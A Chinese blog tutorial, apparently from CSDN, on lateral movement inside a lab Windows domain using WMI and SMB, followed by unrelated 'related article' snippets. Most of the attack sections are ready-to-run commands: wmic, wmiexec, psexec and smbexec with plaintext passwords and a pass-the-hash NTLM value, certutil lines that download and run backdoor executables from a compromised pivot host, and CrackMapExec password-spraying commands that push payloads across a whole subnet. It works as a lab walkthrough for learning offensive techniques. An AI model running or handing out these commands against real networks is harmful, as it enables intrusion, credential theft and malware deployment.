内网安全:WMI协议与SMB协议横向移动
目录
网络拓扑图
网络环境说明
WMI协议
SMB协议
域内信息收集
WMI协议 - 横向移动
利用方式一:wmic命令
利用方式一:cscript
利用方式一:impacket
SMB协议 - 横向移动
利用方式一:psexec
利用方式二:psexec.exe
利用方式三:CS插件
利用方式四:Impacket-smbexec
利用方式五:services
域横向移动-工具自动化横向
CraMapExec-密码喷射
一. 下载安装Linux平台代理Proxychains
二. CraMapExec 上线整个内网
网络拓扑图
IPC横向移动的实验环境如下
网络环境说明
攻击机:
LInux IP:47.94.236.117
内网环境:单域环境
Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动
IP:192.168.46.146 192.168.3.31
DC:域控 IP:192.168.3.21
Jack-PC: IP:192.168.3.29
Mary-PC: IP:192.168.3.25
SQLServer:IP:192.168.3.32
FileServer: IP:192.168.3.30
目标:拿下整个内网
WMI协议
WMI(Windows Management Instrumentation)协议是一种用于管理和监控Windows操作系统的协议。它是Microsoft Windows提供的一套系统管理和监控工具,用于管理本地或远程计算机上的系统信息、配置和状态。
WMI协议的主要目标是提供一种统一的接口,使系统管理员和开发人员能够通过编程方式获取和控制Windows操作系统的各种管理信息。通过WMI协议,可以访问和操作计算机的硬件、操作系统、网络、进程、服务等各个方面的信息。
通过使用WMI协议,可以执行以下操作:
-
获取系统信息:可以查询计算机的硬件信息(如CPU、内存、磁盘)、操作系统信息(如版本、安装日期)、网络信息等。
-
远程管理:可以通过WMI协议远程管理其他计算机上的服务、进程、事件日志等。
-
监控和警报:可以通过WMI协议实时监控系统的性能指标、事件日志,并设置警报和触发操作。
-
配置和设置:可以使用WMI协议修改系统配置、管理用户账户、安装软件等。
在Windows操作系统中,WMI协议提供了强大的管理和监控功能,使系统管理员能够更轻松地管理和维护系统。开发人员也可以利用WMI协议编写
SMB协议
SMB(Server Message Block)协议是一种用于在计算机网络上共享文件、打印机和其他资源的通信协议。它是在局域网(LAN)中广泛使用的一种协议,最初由IBM开发,后来由微软引入并逐渐发展为现代的SMB协议。
SMB协议的作用是允许计算机之间共享文件和资源,并提供对这些共享资源的访问和管理。它提供了一套通信规范和命令,使计算机能够进行以下操作:
-
文件共享:SMB协议允许计算机共享文件和文件夹。通过SMB协议,用户可以在网络上访问其他计算机上共享的文件,就像访问本地文件一样。这使得多个用户可以在网络上共享和协作编辑文件。
-
打印机共享:SMB协议还支持打印机共享。它允许计算机将本地打印机共享给其他网络上的计算机,使这些计算机可以通过网络打印文件。
-
资源访问和管理:SMB协议提供了一系列命令和功能,用于访问和管理网络上的共享资源。用户可以通过SMB协议浏览共享资源、查看文件属性、创建、删除和重命名文件等。
-
身份验证和安全:SMB协议支持身份验证机制,确保只有经过授权的用户可以访问共享资源。它使用用户凭据进行身份验证,并可以使用加密来保护数据传输的安全性。
SMB协议通常在应用层和传输层之间运行,使用TCP/IP作为底层的网络传输协议。它在Windows操作系统中得到广泛应用,并被用于局域网中的文件共享和打印机共享。此外,SMB协议还经过不断的发展和改进,最新的版本是SMB3,它引入了更高的性能和安全性特性。
域内信息收集
主要针对内网的网络情况,已沦陷主机明文密码,Hash抓取上进行收集
如何收集不再赘述,直接展示收集的结果
域中网络,Webserver 192.168.46.128 192.168.46.*网段出网,192.168.3.*网段不出网
针对的135端口扫描
已沦陷主机内存密码,Hash抓取结果
WMI协议 - 横向移动
WMI协议是通过135端口进行利用的,支持用户明文或hash方式进行认证
不会再目标系统日志留下痕迹
利用方式一:wmic命令
这是一个单执行的指令,系统自带命令无回显
优势:不需要免杀
缺点:不支持Hash,且无回显
win10 使用该命令会报错
‘vmic’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
在Win10中,wmic已经归入C:\Windows\System32\wbem文件夹,而环境变量只设置到C:\Windows\System32,因此找不到wmic
只需要添加C:\Windows\System32\wbem 到环境变量——系统变量的Path变量
执行命令
换用DC账户密码,ver已经执行了,但是因为无回显
执行命令,说明执行了,但是无回显
普通账号显示拒绝访问 权限不够,DC账号可用
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/bindtcp-2222.exe c:/beacon.exe"
执行命令。经测试 不能执行后门,DC账号也不能用
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"
利用方式一:cscript
这是交互式的,也就意味可以反弹shell,但是CS无法反弹,直接会卡死
这个实战不常用
需要再Webserver上传wmiexec.vbs
在Webserver上执行命令,cscript系统自带
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
反弹shell
无法反弹shell,适合在shell环境进行横向移动
利用方式一:impacket
利用impacket中的wmiexec模块进行横向移动,非系统自带,支持hash传递
想要使用这种方式:
- 上传工具到webserver上,需要py解析环境
- 通过代理技术,把攻击机带进内网中,就可以攻击机本地测试(推荐)
代理搭建:
CS服务端:代理转发-Socks代理-配置代理端口
攻击机:proxifier设置代理,IP为CS服务器IP:47.94.236.117
Py本地运行,测试目标的本地用户 administrator
python3 wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"
或者
python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
CS建立反向连接
CS选择Webserver的会话建立监听器,生成木马,上传到Webserver的web服务根目录下
之后横向移动令目标下载木马并执行
目标C盘出现木马
上线
接下来就再抓取新沦陷主机的内存明文密码和Hash,
SMB协议 - 横向移动
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
利用方式一:psexec
交互式 windows官方工具,白名单,不会被杀,可以从微软官方pstools下载得到
在上面已经建立了代理的情况,攻击机访问192.168.3.*网络的流量都会转发给CS服务器发到内网中,可以在本地直接测试
这个是交互式的会反弹一个cmd窗口,所以不可以在CS上做。
这个的执行需要管理员以上的权限
攻击机本地测试:
psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
反弹shell回来:
利用方式二:psexec.exe
EXE版Impacket的利用,同上在本地进行测试
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
也会反弹会一个shell
利用方式三:CS插件
CS差价-有手就行
失败
去掉域GOD
成功上线
选上GOD就是用域用户administrator登录,不选就是本地adminstrator登录,两个是不一样的
原因很简单,用GOD域用户administrator登录账号密码是错误的,那个Hash不是域用户的,这个Hash确实本地administrator的。
横向移动要学会切换用户去攻击,攻击对方域用户,攻击对方本地账户
利用方式四:Impacket-smbexec
利用代理技术,把攻击机带入内网进行攻击
攻击本地用户 + 明文密码,成功
python3 smbexec.py ./administrator:admin!@#45@192.168.3.32 #非域用户
攻击域用户 + 明文密码,失败
python3 smbexec.py god/administrator:admin!@#45@192.168.3.32 #域用户
攻击本地用户 + Hash,成功
python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
攻击域用户 + Hash,失败
python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32
利用方式五:services
单执行,无回显,不推荐,太麻烦了
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
域横向移动-工具自动化横向
这上一篇中,演示了IPC协议使用写脚本横向移动
每次跑完脚本,有主机上线,抓取密码,使用新密码再进行横向移动跑脚本。
如果有的主机被发现,每次修改密码太过于繁琐。推荐一款工具,实现自动化
CrackMapExec
Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html
下载对应release,建立socks连接,设置socks代理,配置规则,调用!
Linux Proxychains使用
安装使用:https://blog.csdn.net/qq_53086690/article/details/121779832
代理配置:Proxychains.conf 代理调用:Proxychains 命令
————————————————
版权声明:本文为CSDN博主「今天是 几 号」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_53009585/article/details/129775792
CraMapExec-密码喷射
常用命令:
密码喷射域登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’
密码喷射本地登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth
密码喷射本地登录命令执行:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘whoami’ --local-auth
密码喷射本地登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth
密码喷射域登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’密码喷射本地&域登录命令执行全自动上线:
proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’proxychains python cme smb 192.168.3.21-32 -u administrator -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth
Windows平台使用:使用代理,运行工具即可
这里演示的是Linux平台:项目放在Linux上跑
Linux-->Proxychains(代理,Linux流量转发)--->CS 和win平台原理一样,就是换个工具
现在回到最开始只拿到一个主机的时候,提取的密码
一. 下载安装Linux平台代理Proxychains
安装使用参考这篇文章,很详细:
https://blog.csdn.net/qq_53086690/article/details/121779832
代理配置文件:Proxychains.conf
代理调用:Proxychains 命令
配置代理:
vim /etc/Proxychains.conf
走的是SOCK4协议,因为攻击机就是CS所在的服务器,所以需要把代理配置再本地的30194端口,CS接收发送到内网
二. CraMapExec 上线整个内网
测试代理
使用代理运行工具,打开项目
proxychains python cme
使用smb协议通讯内网主机 192.168.3.21
proxychains python cme smb 192.168.3.21
密码喷射与登录,测试域登录,即攻击域用户
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’
全部失败,红色减号表示失败
密码喷射本地登录 攻击主机本地用户
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth
成功,测试出来可以登录的主机
直接攻击 192.168.3.29 命令执行
之后命令该为下载执行命令即可
192.168.3.29 上线CS
测试利用Hash喷射域用户
全部成功
因为这个Hash正好是域控的Hash
加上命令执行
之后全部上线
还可以这样操作
vim u.txt 里面全是用户名(信息收集得到)
vim p.txt 拿到的所有凭据
u.txt和p.txt我写反了 不过没关系,参数换一下即可
最终全部上线
也就是说我们控制lwebserver后提取密码与哈希,就能利用这个工具自动化横向移动。
相关文章:

内网安全:WMI协议与SMB协议横向移动
目录 网络拓扑图 网络环境说明 WMI协议 SMB协议 域内信息收集 WMI协议 - 横向移动 利用方式一:wmic命令 利用方式一:cscript 利用方式一:impacket SMB协议 - 横向移动 利用方式一:psexec 利用方式二:psexe…...

05-Numpy基础-用于数组的文件输入输出
np.save和np.load是读写磁盘数组数据的两个主要函数。默认情况下,数组是以未压缩的原始二进制格式保存在扩展名为.npy的文件中的: 如果文件路径末尾没有扩展名.npy,则该扩展名会被自动加上。然后就可以通过np.load读取磁盘上的数组࿱…...

Docker微服务实战
文章目录 业务需求IDEA编写代码编写Dockerfile构建镜像运行容器网页端访问测试 业务需求 利用Docker部署应用服务,实现在网页端通过输入地址 ip:端口/hello/docker,页面显示hello docker ! IDEA编写代码 创建springboot项目 网上很多教程,此步骤省略……...

NLNet论文总结和代码实现
Non-local Neural Networks(非局部神经网络):使用自注意力机制捕获远程依赖。 论文: https://arxiv.org/pdf/1711.07971.pdf 源码: 长距离依赖关系,顾名思义,是要和远程建立关系,在l…...

数字 IC 设计职位经典笔/面试题(三)
共100道经典笔试、面试题目(文末可全领) 1. IC 设计中同步复位与异步复位的区别? 同步复位在时钟沿变化时,完成复位动作。异步复位不管时钟,只要复位信号满足条件,就完成复位动作。异步复位对复位信号要求…...

Matlab分割彩色图像
彩色图像 彩色图像除有亮度信息外,还包含有颜色信息。以最常见的RGB(红绿蓝)彩色空间为例来简要说明彩色图像: 彩色图像可按照颜色的数目来划分。例如,256色图像和真彩色图像(2的16次方=21677…...
[数据集][目标检测]垃圾目标检测数据集VOC格式14963张44类别
数据集格式:Pascal VOC格式(不包含分割的txt文件,仅仅包含jpg图片和对应的xml) 图片数量(jpg文件个数):14963 标注数量(xml文件个数):14963 标注类别数:44 标注类别名称:["toiletries","plastic utensi…...
MATLAB算法实战应用案例精讲-【深度学习】推荐系统模型DSSMDeepFM
目录 前言 DSSM 输入层 英文 中文 表示层 匹配层 优缺点 DeepFM模...

基于springboot的社区生活缴费系统/基于javaweb的水电缴费系统
摘 要 网络的广泛应用给生活带来了十分的便利。所以把社区生活缴费管理与现在网络相结合,利用java语言建设社区生活缴费系统,实现社区生活缴费管理的信息化。则对于进一步提高社区生活缴费管理发展,丰富社区生活缴费管理经验能起到不少的促进…...

Linux —— keepalived
简介 Keepalived 是一个用 C 语言编写的路由软件。这个项目的主要目标是为 Linux 系统和基于 Linux 的基础设施提供简单而强大的负载均衡和高可用性功能。 Keepalived 开源并且免费的软件。 Keepalived 的2大核心功能 1. loadbalance 负载均衡 LB:ipvs--》lvs软件…...
ubuntu安装pyenv
Pyenv是一种轻量级的Python版本管理工具,它可以让你在同一台机器上同时管理多个Python版本。这个工具对于开发者来说非常有用,因为在不同的项目中可能需要使用不同版本的Python。下面是在Ubuntu系统上安装pyenv,并配置环境变量的步骤…...
【Kubernetes】对外服务之 Ingress
目录 简介 Ingress 组成 ●ingress ●ingress-controller Ingress-Nginx 工作原理 部署 nginx-ingress-controller 1、部署ingress-controller Pod及相关资源 ingress 暴露服务的方式 ●方式一:DaemonSetHostNetworknodeSelector ●方式二:Dep…...

大数据项目实战(安装准备)
一,搭建大数据集群环境 1.1安装准备 1.1.1虚拟机安装与克隆 1.虚拟机的安装和设置以及启动虚拟机并安装操作系统(以下仅供参考) 安装一台虚拟机主机名为:hadoop01的虚拟机备用 VMware虚拟机安装Linux教程(超详细)_vmware安装…...
SAP ABAP基础语法-内表篇(二)
十一、使用 SPLIT 直接拆分到内表: DATA: BEGIN OF auth_data OCCURS 0,text(1024),END OF auth_data.STR SE39/SE39/SE01/SE10.SPLIT STR AT / INTO TABLE auth_data. 二十、CONDENSE 的用法: 把工作区的内的所有字段的值 赋给 字符串 DATA: BEGIN O…...

读SQL学习指南(第3版)笔记05_过滤
1. 不需要考虑排除任何列 1.1. 清除数据表中所有的内容 1.2. 暂存新数据仓库的数据 1.3. 向数据表中新添一列后 1.4. 修改数据表中的所有行 1.5. 检索消息队列表中的所有行 2. where子句 2.1. 可以在其中指定一个或多个过滤条件,用于限制SQL语句处理的行数 …...

防火墙组建双击热备后老是主备自动切换怎么处理?
环境: 2台主备防火墙 8.0.75 AF-2000-FH2130B-SC 核心交换机 H3C S6520-26Q-SI version 7.1.070, Release 6326 问题描述: 防火墙组建双击热备后老是主备自动切换怎么处理? 查看切换日志,本地故障值小于对端,经常自动切换导致eth3接口业务老是自动断开,切换频率,…...

SQL地址门牌排序,字典序转为数字序
页面有一批地址数据查询,结果字符排序默认是字典序的,所以造成了门牌3号在30号之前,影响用户体验; id, road_code, road_name, address_fullname, address_name 102 10086 人民一路 北江省南海市西湖区人民一路3号 3号 103 10086…...

DevExpress WinForms数据编辑器组件,提供丰富的数据输入样式!(二)
DevExpress WinForms超过80个高影响力的WinForms编辑器和多用途控件,从屏蔽数据输入和内置数据验证到HTML格式化,DevExpress数据编辑库提供了无与伦比的数据编辑选项,包括用于独立数据编辑或用于容器控件(如Grid, TreeList和Ribbon)的单元格。…...

HTML番外篇(五)-移动端适配
一、媒体查询 1.认识媒体查询 媒体查询是一种提供给开发者针对不同设备需求进行定制化开发的一个接口。 你可以根据设备的类型(比如屏幕设备、打印机设备)或者特定的特性(比如屏幕的宽度)来修改你的页面。 媒体查询的使用方式主要有三种:…...

数字孪生:重塑制造、医疗和能源等领域的未来
数字孪生技术,作为虚拟仿真的重要领域,正以其强大的能力在各个行业中创造前所未有的创新。本文带大家一起深入探讨数字孪生技术在不同领域的广泛应用场景,展示其在实现效率、可靠性和智能化方面的积极影响。 制造业与工业领域 数字孪生技术在…...

Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...

【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分
一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计,提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合:各模块职责清晰,便于独立开发…...

什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...
Fabric V2.5 通用溯源系统——增加图片上传与下载功能
fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
python爬虫——气象数据爬取
一、导入库与全局配置 python 运行 import json import datetime import time import requests from sqlalchemy import create_engine import csv import pandas as pd作用: 引入数据解析、网络请求、时间处理、数据库操作等所需库。requests:发送 …...

Axure 下拉框联动
实现选省、选完省之后选对应省份下的市区...
多元隐函数 偏导公式
我们来推导隐函数 z z ( x , y ) z z(x, y) zz(x,y) 的偏导公式,给定一个隐函数关系: F ( x , y , z ( x , y ) ) 0 F(x, y, z(x, y)) 0 F(x,y,z(x,y))0 🧠 目标: 求 ∂ z ∂ x \frac{\partial z}{\partial x} ∂x∂z、 …...
python打卡day49@浙大疏锦行
知识点回顾: 通道注意力模块复习空间注意力模块CBAM的定义 作业:尝试对今天的模型检查参数数目,并用tensorboard查看训练过程 一、通道注意力模块复习 & CBAM实现 import torch import torch.nn as nnclass CBAM(nn.Module):def __init__…...